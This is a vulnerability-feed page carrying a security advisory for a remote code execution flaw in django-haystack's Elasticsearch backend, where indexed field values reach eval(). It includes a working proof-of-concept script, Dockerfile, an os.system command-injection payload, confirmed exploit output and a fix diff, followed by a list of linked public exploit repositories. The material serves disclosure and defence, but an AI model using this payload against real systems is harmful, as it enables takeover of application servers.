Feed/GHSA-r3hx-x5rh-p9vv
GHSA-r3hx-x5rh-p9vvHIGHCVSS 0.0

django-haystack: Remote Code Execution via `eval()` in Elasticsearch Result Deserialization

Published Jul 15, 2026·Updated Jul 15, 2026

NVD Description

## Remote Code Execution via `eval()` in Elasticsearch Result Deserialization ### Summary The Elasticsearch backend in django-haystack calls `eval()` on raw field values returned from Elasticsearch when a `SearchField` is declared with an `index_fieldname` alias that differs from the logical field name. During result processing, the backend looks up fields by logical name but Elasticsearch stores them under the alias key; the lookup fails and the value falls through to `_to_python()` → `eval()`. An attacker who can control content that is indexed into Elasticsearch—and can trigger or wait for a search that returns it—achieves arbitrary code execution in the Django application process. CVSS 3.1 Base Score: **8.5 (High)**. ### Details **Sink — `haystack/backends/elasticsearch_backend.py:865`:** ```python converted_value = eval(value) ``` `_to_python()` (line ~850) attempts to parse a string value by calling `eval()` before performing any type-safety check. If the value is an attacker-controlled Python expression such as `__import__('os').system(...)`, the expression is executed unconditionally. **Root cause — `haystack/backends/elasticsearch_backend.py:727–737`:** ```python for key, value in source.items(): string_key = str(key) if string_key in index.fields and hasattr(index.fields[string_key], "convert"): additional_fields[string_key] = index.fields[string_key].convert(value) else: additional_fields[string_key] = self._to_python(value) ``` `index.fields` is keyed by the *logical* field name (e.g. `"name"`), but Elasticsearch stores the document under the `index_fieldname` alias (e.g. `"name_s"`). Because `"name_s" not in index.fields`, the branch falls through to `self._to_python(value)`. **Data flow (source → sink):** 1. `haystack/indexes.py:226` — `self.prepared_data[field.index_fieldname] = field.prepare(obj)` stores data under the alias. 2. `haystack/backends/elasticsearch_backend.py:218` — prepared data copied into `final_data`. 3. `haystack/backends/elasticsearch_backend.py:236` — `bulk(...)` writes the document to Elasticsearch under the alias key. 4. `haystack/backends/elasticsearch_backend.py:574` — search reads attacker-influenced `_source` back from Elasticsearch. 5. `haystack/backends/elasticsearch_backend.py:720` — `_process_results()` takes `raw_result["_source"]`. 6. `haystack/backends/elasticsearch_backend.py:730` — lookup `string_key in index.fields` fails for alias keys. 7. `haystack/backends/elasticsearch_backend.py:737` — unmatched value passed to `_to_python(value)`. 8. `haystack/backends/elasticsearch_backend.py:865` — **sink**: `converted_value = eval(value)`. **Missing fix:** The Solr backend correctly remaps aliases at `haystack/backends/solr_backend.py:535–539` using `index.field_map` before performing the `index.fields` lookup. The Elasticsearch backend has no equivalent remapping. **Preconditions:** - The application uses the Elasticsearch backend. - At least one `SearchField` in a `SearchIndex` is declared with `index_fieldname` set to a value different from the logical attribute name. - The attacker can write content that is indexed (e.g. via a form, API, or any user-controlled field included in the index). - The attacker can trigger or wait for a search that returns the malicious document. ### PoC **Environment setup (Docker):** ```bash # Build the proof-of-concept image docker build -t vuln001-poc \ -f /path/to/vuln-001/Dockerfile \ /path/to/reports/pypiAi_436_django-haystack__django-haystack/ # Run the PoC — exits 0 on confirmed RCE docker run --rm vuln001-poc ``` **Dockerfile** (`vuln-001/Dockerfile`): ```dockerfile FROM python:3.11-slim WORKDIR /app RUN pip install --no-cache-dir setuptools setuptools_scm wheel COPY repo/ /app/repo/ RUN pip install --no-cache-dir "Django>=4.2" "elasticsearch>=5,<8" RUN SETUPTOOLS_SCM_PRETEND_VERSION=0.0.dev0 pip install --no-cache-dir -e /app/repo/ COPY vuln-001/poc.py /app/poc.py CMD ["python3", "/app/poc.py"] ``` **PoC script** (`vuln-001/poc.py`) — key sections: ```python # SearchField with index_fieldname alias class MockField: index_fieldname = "name_s" # ES key def convert(self, value): return str(value) class MockIndex: fields = {"name": MockField()} # logical key — "name_s" NOT present field_map = {"name_s": "name"} # Malicious payload placed in the alias key of a crafted ES _source response MARKER_FILE = "/tmp/django_haystack_eval_rce_proof" payload = ( f"__import__('os').system(" f"'echo PWNED_BY_EVAL_RCE > {MARKER_FILE}')" ) raw_results = {"hits": {"total": 1, "hits": [{ "_score": 1.0, "_source": { "django_ct": "app.model", "django_id": "1", "name_s": payload, # alias key → lookup fails → eval() }, }]}} backend._process_results(raw_results) # Confirms RCE: /tmp/django_haystack_eval_rce_proof contains "PWNED_BY_EVAL_RCE" ``` **Observed output (Phase 2 dynamic reproduction):** ``` ============================================================ VULN-001 PoC: eval() RCE in ElasticsearchSearchBackend ============================================================ [*] Payload : __import__('os').system('echo PWNED_BY_EVAL_RCE > /tmp/django_haystack_eval_rce_proof') [*] Marker : /tmp/django_haystack_eval_rce_proof [*] Sink : elasticsearch_backend.py:865 eval(value) [+] SUCCESS: RCE CONFIRMED [+] Marker file created: /tmp/django_haystack_eval_rce_proof [+] File content: PWNED_BY_EVAL_RCE RESULT: PASS - VULN-001 is dynamically reproduced and exploitable ``` **Recommended remediation:** ```diff --- a/haystack/backends/elasticsearch_backend.py +++ b/haystack/backends/elasticsearch_backend.py -import re +import ast +import re index = source and unified_index.get_index(model) + index_field_map = index.field_map for key, value in source.items(): string_key = str(key) + if string_key in index_field_map: + string_key = index_field_map[string_key] if string_key in index.fields and hasattr( index.fields[string_key], "convert" - converted_value = eval(value) + converted_value = ast.literal_eval(value) ``` ### Impact This is a **Remote Code Execution (RCE)** vulnerability. Any attacker who can submit content that is stored and indexed in Elasticsearch—then retrieved via a search—can execute arbitrary Python (and shell) commands in the Django application process with the privileges of the web server. Full confidentiality, integrity, and availability of the server are at risk. Because Haystack is a reusable search library, the vulnerability affects all Django applications that use the Elasticsearch backend with `index_fieldname` aliasing, regardless of how authentication is configured by the application. ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM python:3.11-slim WORKDIR /app # Install build tools needed for setuptools_scm RUN pip install --no-cache-dir setuptools setuptools_scm wheel # Copy the django-haystack repository source COPY repo/ /app/repo/ # Install Django and the elasticsearch client RUN pip install --no-cache-dir "Django>=4.2" "elasticsearch>=5,<8" # Install django-haystack from the local repo (editable install) # setuptools_scm requires git metadata; use fallback version instead RUN SETUPTOOLS_SCM_PRETEND_VERSION=0.0.dev0 pip install --no-cache-dir -e /app/repo/ # Copy the PoC script COPY vuln-001/poc.py /app/poc.py # Run the PoC by default CMD ["python3", "/app/poc.py"] ``` #### `poc.py` ```python """ PoC for VULN-001: Arbitrary Code Execution via eval() in ElasticsearchSearchBackend._process_results (django-haystack) Vulnerability: haystack/backends/elasticsearch_backend.py:865 calls eval(value) on Elasticsearch _source field values that do not match any entry in index.fields. This mismatch occurs when a SearchField uses index_fieldname (alias) different from its logical field name: ES stores data under the alias, but the backend looks up fields by logical name, causing unmatched values to fall through to _to_python() -> eval(). Attack path: 1. Attacker controls content that is indexed into Elasticsearch. 2. The Django app has a SearchIndex field with index_fieldname alias. 3. ES stores the document under the alias key. 4. On search, _process_results reads _source where the alias key is NOT found in index.fields (which uses logical names). 5. The value routes to _to_python(value) -> eval(value) -> RCE. This PoC bypasses the need for a live Elasticsearch instance by directly calling _process_results() with a crafted raw result dict. """ import os import sys # --------------------------------------------------------------------------- # 1. Configure Django (no database required) # --------------------------------------------------------------------------- from django.conf import settings if not settings.configured: settings.configure( SECRET_KEY="poc-only-not-for-production", INSTALLED_APPS=[ "django.contrib.contenttypes", "django.contrib.auth", "haystack", ], HAYSTACK_CONNECTIONS={ "default": { "ENGINE": "haystack.backends.elasticsearch_backend.ElasticsearchSearchEngine", "URL": "http://127.0.0.1:9200/", "INDEX_NAME": "poc_index", } }, DATABASES={}, ) import haystack import haystack.backends.elasticsearch_backend as esb # --------------------------------------------------------------------------- # 2. Mock objects to simulate the Haystack/ES environment # --------------------------------------------------------------------------- class MockField: """ Simulates a SearchField declared with an index_fieldname alias. Logical field name: "name" ES storage key (index_fieldname): "name_s" """ index_fieldname = "name_s" def convert(self, value): return str(value) class MockIndex: """ Simulates a SearchIndex. fields: keyed by LOGICAL name ("name") field_map: alias -> logical name (Solr uses this; ES backend does NOT) """ fields = { "name": MockField(), } field_map = {"name_s": "name"} class MockUnifiedIndex: document_field = "text" def get_indexed_models(self): return [object] def get_index(self, model): return MockIndex() class MockConnection: def get_unified_index(self): return MockUnifiedIndex() # Patch the global haystack connections registry so _process_results can # look up the unified index without a real Elasticsearch connection. haystack.connections = {"default": MockConnection()} # Patch the model-lookup helper used inside _process_results. # Returns `object` so the model is found and the result is processed. esb.haystack_get_model = lambda app_label, model_name: object # --------------------------------------------------------------------------- # 3. Build the malicious payload # --------------------------------------------------------------------------- MARKER_FILE = "/tmp/django_haystack_eval_rce_proof" # os.system() returns the exit code (int). The isinstance(int) check in # _to_python() passes, so eval() completes without raising, confirming # full expression execution. The shell command writes the proof file. payload = ( f"__import__('os').system(" f"'echo PWNED_BY_EVAL_RCE > {MARKER_FILE}')" ) # Crafted Elasticsearch raw response: # "name_s" is the index_fieldname alias stored in ES. # "name" is the logical field name present in index.fields. # Because "name_s" != "name", the lookup fails and value goes to eval(). raw_results = { "hits": { "total": 1, "hits": [ { "_score": 1.0, "_source": { "django_ct": "app.model", # required sentinel field "django_id": "1", # required sentinel field "name_s": payload, # alias key -> eval() path }, } ], } } # --------------------------------------------------------------------------- # 4. Instantiate the backend without __init__ (no live ES connection needed) # --------------------------------------------------------------------------- backend = esb.ElasticsearchSearchBackend.__new__(esb.ElasticsearchSearchBackend) backend.connection_alias = "default" backend.include_spelling = False # --------------------------------------------------------------------------- # 5. Trigger the vulnerability # --------------------------------------------------------------------------- print("=" * 60) print("VULN-001 PoC: eval() RCE in ElasticsearchSearchBackend") print("=" * 60) print(f"[*] Payload : {payload}") print(f"[*] Marker : {MARKER_FILE}") print(f"[*] Sink : elasticsearch_backend.py:865 eval(value)") print() # Remove any leftover marker from a previous run if os.path.exists(MARKER_FILE): os.remove(MARKER_FILE) try: backend._process_results(raw_results) except Exception as exc: # An exception here does not mean eval() was not called; # the side effect (file write) is the ground truth. print(f"[!] _process_results raised (checking side effects anyway): {exc}") # --------------------------------------------------------------------------- # 6. Verify the side effect # --------------------------------------------------------------------------- print() if os.path.exists(MARKER_FILE): content = open(MARKER_FILE).read().strip() print("[+] SUCCESS: RCE CONFIRMED") print(f"[+] Marker file created: {MARKER_FILE}") print(f"[+] File content: {content}") print() print("RESULT: PASS - VULN-001 is dynamically reproduced and exploitable") sys.exit(0) else: print("[-] FAILURE: Marker file was not created") print("[-] eval() was not triggered or the payload did not execute") print() print("RESULT: FAIL - RCE could not be confirmed") sys.exit(1) ```

Affected Packages (1)

django-haystackPYPI
Fixed in 3.4.0

Public Exploits & PoCs100 found

PoC: CVE-2026-38192

pluck-CMS-4.7.20-code-injection-vulnerability

2

PoC: cve-2024-55591-poc

Educational implementation in Go for CVE-2024-55591 (Fortinet FortiOS Authentication Bypass). Designed for security research, vulnerability assessment, and understanding WebSocket-based auth bypass mechanisms.

1

PoC: cve-2026-82329-jfrog-artifactory

CVE-2026-82329 JFrog Artifactory unauthenticated auth-bypass: reproducible Docker lab + URL-parameter validator PoC + patch-diff analysis

1

PoC: CVE-2026-82592

D-Link DIR-825M formDiskFormat stack overflow + command injection RCE PoC (CVE-2026-82592); for authorized security testing

1

PoC: My-Exploits

Metasploit modules, Python PoCs and throwaway Docker labs for four platform CVEs: Keycloak (CVE-2026-18963), Apache NiFi (CVE-2026-39816), HashiCorp Vault (CVE-2026-5006), HashiCorp Nomad (CVE-2026-7474).

1

PoC: CVE-2025-66478-PoC-Reverse-Shell

CVE-2025-66478 PoC

1

PoC: cve-writeups-and-pocs

CVE-2026-80724 PoC + full write-up — Linux kernel ptp/vmclock read-only mapping becomes writable (VM_MAYWRITE). Discovered, reported & fixed by Abdifatah Suruur (suruurism)

1

PoC: CVE-2026-79483-FastGPT-NoSQL-Injection

FastGPT Community Edition NoSQL Injection PoC (CVE-2026-79483)

1

PoC: givewp-cve-2026-82222-rce-lab

Authorized Docker lab and clean PoC for validating CVE-2026-82222 RCE in GiveWP 4.16.5.1 and the 4.16.7.2 fix.

1

PoC: CVE-2026-19745

Learn how I found my first two CVEs by pure accident.

1

PoC: cve-2026-23989-opencloud-lab

Reproduction lab (A/B Docker) for CVE-2026-23989 — OpenCloud / ownCloud Infinite Scale public-link scope-validation bypass in Reva

1

PoC: CVE-2026-21962-Blog

CVE-2026-21962 Açığı için blog sayfası oluşturdum.

1

PoC: PoC-and-yara-rules-of-CVE-2025-59528-Flowise-has-Remote-Code-Execution-vulnerability

poc and yara rules

1

PoC: dast

CVE-2026-0828

PoC: SmarterMail-CVE-2026-24423-

Exploit for CVE-2026-24423 — a critical unauthenticated RCE in SmarterMail's ConnectToHub API. Affects all builds prior to 9511.

PoC: gha-lab-d9fd584b12

Authorized security-research lab reproducing CVE-2024-47179 (GHSL-2024-178): artifact-poisoning pwn-request chain in RSSHub docker-test workflows (snapshot at 574d053)

PoC: LAB1-metasploitable

Exploitation des vulnérabilités sur la version vsftpd 2.3.4 du service ftp (CVE-2011-2523)

PoC: CVE-2022-25765

CVE-2022-25765 | pdfkit v0.8.6 Python PoC

PoC: CVE-2026-7899

CVE-2026-7899 - Draft or TODO

PoC: gha-lab-6ab39df295

Controlled security-research lab reproducing CVE-2024-45798 (GHSA-h52q-xhg2-6jw8) in espressif/arduino-esp32 — poisoned-artifact pwn request via tests_results.yml workflow_run

PoC: CVE-2026-9586

CVE-2026-9586 - Draft or TODO

PoC: gha-lab-40e23db109

Security-research lab: controlled reproduction of CVE-2024-4254 (GHSA-fc78-c36r-cc59) — deploy-website.yml fork checkout/code execution in gradio-app/gradio @ d4c503a

PoC: root-s24-e1s

Galaxy S24 SM-S921B S921BXXSDCZB2 RAM-only KernelSU Next (CVE-2026-43499) + Root S24 app

PoC: CVE-2024-49138-SOC-Investigation

SOC investigation of CVE-2024-49138 exploitation involving brute-force activity, PowerShell execution, malicious payload analysis, privilege escalation, and incident response.

PoC: gha-lab-ee08e207a8

Authorized security-research lab reproducing CVE-2024-4253 (GHSA-r897-wrpm-h4vw): workflow_run command injection in gradio-app/gradio's test-functional.yml

PoC: CVE-2026-24061-Telnetd

CVE-2026-24061 GNU Inetutils Telnetd Authentication Bypass

PoC: Fortigate-SSL-VPN-Exploit-Kit

The FortiGate SSL-VPN pot of gold. CVE-2024-21762 and CVE-2023-27997. 79 working exploit clients. 53 hardware SKUs. 55 FortiOS builds.

PoC: CVE-2026-33017

CVE-2025-62593 — Ray Unauthenticated RCE Exploit is an unauthenticated remote code execution vulnerability in the Ray distributed AI compute engine.

PoC: CVE-2026-13753-poc

Poc of CVE-2026-13753

PoC: CVE-2026-82221

PoC for Unauthenticated Reflected Cross-Site Scripting (XSS) in RegistrationMagic WordPress Plugin

PoC: ActiveMQ-CVE-2023-46604

Exploit POC for Apache ActiveMQ CVE-2023-46604

PoC: gha-lab-0ba60e6456

Authorized security-research lab reproducing CVE-2024-39700 / GHSA-45gq-v5wm-82wg (JupyterLab extension-template update-integration-tests pwn request)

PoC: CVE-2026-36130

CVE-2026-36130

PoC: CVE-2026-31321

CVE-2026-31321

PoC: postgresql-cve-2026-14662

PostgreSQL の全文検索(tsvector/tsquery)に見つかった範囲外書き込み脆弱性 CVE-2026-14662 を、修正前(18.4)と修正後(18.6)を Docker で並べて動かして検証した記録と発表資料

PoC: CVE-2026-27472-and-CVE-2026-27474

PoC for CVE-2026-27472 and CVE-2026-27474

PoC: CVE-2026-27475

PoC for CVE-2026-27475

PoC: CVE-2026-18963

Unauthenticated account takeover via reset-credentials flow bypass

PoC: CVE-2026-0768

CVE-2026-0768 - Draft or TODO

PoC: CVE-2026-82329

CVE-2026-82329 - Draft or TODO

PoC: tomcat-line-check

CVE-2026-24880: does Apache's upgrade advice actually apply to your Tomcat? Detects the fix by class presence, not version comparison. Covers 7.0/8.0/8.5/9.0/10.0/10.1/11.0 lines.

PoC: log4j2-vuln-lab

CVE-2021-44228 (Log4Shell) 漏洞复现靶场 | SpringBoot + Log4j2 2.14.1 | 3 个攻击向量 PoC 验证

PoC: CVE-2021-3493-Exploit

It's a CVE-2021-3493 Exploit written in C

PoC: gha-lab-8e9316151c

Controlled security-research lab reproducing CVE-2024-1540 (GitHub Actions command injection in gradio-app/gradio deploy+test-visual.yml) — flattened snapshot of gradio-app/gradio @ f35f615e33a5dd90bfeb106b6f5dca689849fcef

PoC: gha-lab-6255f5fc33

Security-research lab reproducing CVE-2023-6572 (GHSA-gqvf-3hgp-5hxv): command injection in gradio-app/gradio's workflow_run handling of generate-changeset.yml

PoC: nextcloud-cve-2023-49792-research

A project analysis of CVE-2023-49792, inspired by a HackerOne report I have recently come across.

PoC: CVE-2026-30252

The ZenShare Suite application is vulnerable by a Reflected Cross-Site Scripting (XSS) vulnerability, affecting web application login and recovery password functionalities.

PoC: CVE-2026-30251

A reflected cross-site scripting (XSS) vulnerability in the login_newpwd.php endpoint of Interzen Consulting S.r.l ZenShare Suite v17.0 allows attackers to execute arbitrary Javascript in the context of the user's browser via a crafted URL injected into the codice_azienda parameter.

PoC: gha-lab-fb32aba4a3

Authorized lab reproduction of CVE-2023-26493 (GHSL-2023-027): command injection via github.head_ref in cocos-engine's <Web> Interface check pull_request_target workflow

PoC: CVE-2018-14667_Lab_POC

Demonstration of the expression language (EL) injection vulnerability CVE-2018-14667 using the photoalbum lab under Jboss application server

PoC: weakrng-sweep

Weak-RNG stream-sweep research (CVE-2026-71851 class): PRNG schemes x seeds -> BIP39 -> victim set membership

PoC: cve-2022-29117-assessment

CVE-2022-29117 (.NET Cookie-Handling DoS) Assessment, Understanding & Questions Framework

PoC: POC-CVE-2026-0073

Security research PoC for CVE-2026-0073: ADB authentication bypass verification

PoC: gha-lab-232af4821f

Security-research lab reproducing CVE-2021-4281 (GHSA-3796-3f93-cfvx): shell command injection via PR head-branch name in .github/workflows/combine-prs.yml (snapshot of BraveUX/for-the-badge @ 409c1fda). Do not use; authorized reproduction only.

PoC: CVE-2026-82222

GiveWP <= 4.16.7.1 Unauthenticated PHP Object Injection → RCE

PoC: CVE-2026-76569

Reflected XSS via search GET Parameter in Phoca Download

PoC: activemq-cve-lab

ActiveMQ CVE-2015-5254 模拟靶场 - 用于 CVE 测试评测和 SCA 扫描演示

PoC: ghostlock-x200-app

vivo X200 设备端一键 root App(Shizuku 授权 shell 域执行,CVE-2026-43499)

PoC: gha-lab-b9842b12c0

Authorized security-research lab reproducing CVE-2021-21423 (GHSA-gg2g-m5wc-vccq): projen rebuild-bot pwn request via issue_comment

PoC: gha-lab-e4a85583c3

Security-research lab reproducing CVE-2020-36762 (GHSA-h9gr-83jq-f3xc): bash command injection via github.event.comment.body in the comment workflow of ONSdigital/ras-collection-instrument

PoC: Root-My-Galaxy

KSU installer for supported Samsung Galaxy firmware with CVE-2026-43499

PoC: CVE-2026-78905-Facebook-Account-Takeover

Social Media Infrastructure Vulnerability Research. CVE-2026-78905: OAuth token reuse and session hijacking in Facebook's Graph API.

PoC: CVE-2026-78904-Digital-Dinar-Drain

CBDC Infrastructure Vulnerability Research. CVE-2026-78904: Infinite mint and redemption bypass in central bank digital currency APIs.

PoC: CVE-2026-78903-SWIFT-Kick-to-the-Creds

Offensive Research & Exploit Development. Vulnerability research, PoC development, and offensive tooling for financial infrastructure.

PoC: CVE-2026-60004-Gitea-RCE-PoC

🫖 Direct single-target Gitea CVE-2026-60004 RCE validation PoC

PoC: CVE-2026-60004-Gitea-Validator

🫖 Contract-correlated discovery and authorized validation tool for Gitea CVE-2026-60004

PoC: cve-2026-67363-67364

Balboa form Command Injection POC

PoC: Simulation-d-attaque-BlueBorne-sur-v-hicule-connect-

Simulation complète d'une attaque Bluetooth (CVE-2017-1000251) sur un véhicule autonome via CARLA Simulator ; exploitation de la vulnérabilité BlueBorne pour accéder au bus CAN et déclencher un freinage brutal, en environnement isolé (Kali Linux VM / VMware / Python).

PoC: CVE-2026-76581-Detector

Safe passive detector for identifying WPMU DEV Dashboard versions affected by CVE-2026-76581.

PoC: htb-machine-ringdown

Detailed design & exploitation writeup for Ringdown—an original Debian/Asterisk vulnerable machine featuring CVE-2024-42365 (AMI), PJSIP pre-hash cracking, and Fail2ban POSIX ACL privilege escalation.

PoC: gha-lab-83342297e0

Authorized security-research lab reproducing CVE-2024-41127 (GHSA-wcjf-5464-4wq9): poisoned pipeline execution via artifact-controlled code injection in ci-failure-comment.yml. Snapshot of monkeytypegame/monkeytype @ deeea0f.

PoC: WP2Shell-Scanner

Read-only CLI to check whether a WordPress site is exposed to WP2Shell (CVE-2026-63030 / CVE-2026-60137)

PoC: phpBB-CVE-2026-48611

Automated PoC for CVE-2026-48611 — phpBB OAuth login_link authentication bypass

PoC: Project-CVE-2026-45833

CVE-2026-45833 ChromaDB

PoC: CitrixBleedCVE-2026-8452-2025-5777

CitrixBleed Exploit Tool - CVE-2025-5777 & CVE-2026-8452. Unauthenticated remote memory read from Citrix NetScaler ADC & Gateway. Steal admin session tokens, extract nsroot hashes, dump secrets, and bypass MFA. Python 3 exploit with full memory parsing.

PoC: CVE-2026-76581

CVE-2026-76581

PoC: drupalgeddon2-cve-lab

Drupalgeddon2 CVE-2018-7600 vulnerable Drupal 7 lab

PoC: shellshock-cve-lab

Shellshock CVE-2014-6271 vulnerable CGI lab

PoC: log4shell-cve-lab

Log4Shell CVE-2021-44228 vulnerable lab

PoC: CVE-2026-18741

PoC CVE-2026-18741

PoC: CVE-2026-12513

CVE-2026-12513 Vulnerability Advisory & PoC — Discovered by Huynh Kien Minh (MinhHK).

PoC: ghostlock-oppo-watch3pro

CVE-2026-43499 on OPPO Watch 3 Pro

PoC: cve-2026-82222-poc

Public PoC for CVE-2026-82222

PoC: zk-xml-probe

Static XML fixtures for authorized bug bounty testing of XML parser behaviour (CVE-2026-45071).

PoC: SOC335-CVE-2024-49138-Investigation

SOC investigation of a CVE-2024-49138 exploitation alert using log analysis, threat intelligence, and endpoint containment.

PoC: papercut-toolkit

#PaperCut CVE-2026-81578 + CVE-2026-82078 Defense Toolkit 2 3 A **defensive** toolkit to check and understand exposure to the chained

PoC: PaperCut-CVE-2026-81578-82078

Security research tool for PaperCut CVE-2026-81578 & CVE-2026-82078

PoC: vankyo-s30-bootloader-unlock

Vankyo MatrixPad S30 (Unisoc SC9863A) — Bootloader unlock via CVE-2022-38694 FDL1 method

PoC: CVE-2026-21962-Blog

CVE-2026-21962 Açığı için blog sayfası oluşturdum.

PoC: hdwebmobile-formula-pricing

WooCommerce plugin: safe formula-based product pricing, closing CVE-2026-4001's eval()-based RCE

PoC: CVE-2026-82286-gpt-crawler-Arbitrary-File-Write

CVE-2026-82286 — gpt-crawler <=1.5.1 unauthenticated arbitrary file write via outputFileName (POST /crawl). PoC + self-contained Docker lab. CVSS 8.6, CWE-22.

PoC: CVE-2026-24061-payload

A PoC exploit for CVE-2026-24061 - GNU InetUtils telnetd Argument Injection Authentication Bypass

PoC: rmgp-complete-handoff

Complete RMGP (CVE-2026-43499) workspace + experiment-state handoff for SM-A376B/A376BXXU1AZB7

PoC: CVE-2026-66384

CVE-2026-66384 - Draft or TODO

PoC: CVE-2026-33017-PoC-Reverse-Shell

CVE-2026-33017 PoC Reverse Shell

PoC: CVE-2026-33057---Mesop-Unauthenticated-RCE-PoC-and-yara-rules

CVE-2026-33057 - Mesop Unauthenticated RCE PoC and yara rules

PoC: CVE-2026-10036-speechbrain-rce

SpeechBrain < 1.1.1 checkpoint metadata RCE via unsafe PyYAML parsing of CKPT.yaml.

PoC: CVE-2025-55182-poc

I know you are probably here from Hack the Box, if so, yes this one actually works.

PoC: Project-CVE-2026-50751

IKEv1 VPN scanners, attempts a Check Point authentication-bypass exploit, and includes internal network scanning and reverse-shell features.

PoC: CTT-Enhanced-CVE-2026-46339-Exploit-Engine

A specialized Python framework that executes unauthenticated remote code execution via the 9Router Model Context Protocol (MCP) bridge by deploying a 33-layer temporal phase cascade, Riemann-Hadamard dispersion, and an 11 ns wedge filter to bypass traditional proxy and process-monitoring defenses.

References

View on NVD Search GitHub Search Google

Get alerted for CVEs like this

Register your stack and get notified within minutes when a matching CVE drops.

Start monitoring free